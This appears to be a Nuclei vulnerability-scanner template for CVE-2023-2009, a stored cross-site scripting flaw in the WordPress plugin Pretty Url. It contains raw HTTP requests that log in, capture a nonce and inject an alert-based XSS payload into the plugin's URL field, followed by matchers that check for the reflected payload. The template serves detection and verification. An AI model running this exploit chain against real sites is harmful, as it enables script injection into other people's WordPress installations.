Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
PoC代码[已公开]
id: CVE-2023-2009
info:
name: Pretty Url <= 1.5.4 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
reference:
- https://wpscan.com/vulnerability/f7988a18-ba9d-4ead-82c8-30ea8223846f
- https://nvd.nist.gov/vuln/detail/CVE-2023-2009
- https://wordpress.org/plugins/pretty-url/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.8
cve-id: CVE-2023-2009
cwe-id: CWE-79
epss-score: 0.03007
epss-percentile: 0.86094
cpe: cpe:2.3:a:pretty_url_project:pretty_url:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: pretty_url_project
product: pretty_url
framework: wordpress
tags: cve2023,cve,wordpress,wpscan,wp-plugin,wp,authenticated,pretty-url,xss,pretty_url_project
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log=((username))&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=prettyurls HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin.php?page=prettyurls HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dprettyurls&id=&category=accordions%7Epost_type&url=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&meta_title=&meta_description=&meta_keyword=
redirects: true
matchers:
- type: dsl
dsl:
- 'status_code_3 == 200'
- 'contains(body_3, "<img src=x onerror=alert(document.domain)>")'
- 'contains(body_3, "prettyurls")'
condition: and
extractors:
- type: regex
internal: true
name: nonce
part: body
group: 1
regex:
- 'name="_wpnonce" value="([0-9a-z]+)" />'
# digest: 4a0a0047304502202cd8cf7ffc1970ffcf8bbbd0127bd253be03911ba5dabf3cdf54009ad57691f5022100b58a00636f33533f9c11bf33ff1a8659794d09ac458efd8836f043f24069ad10:922c64590222798bb761d5b6d8e72950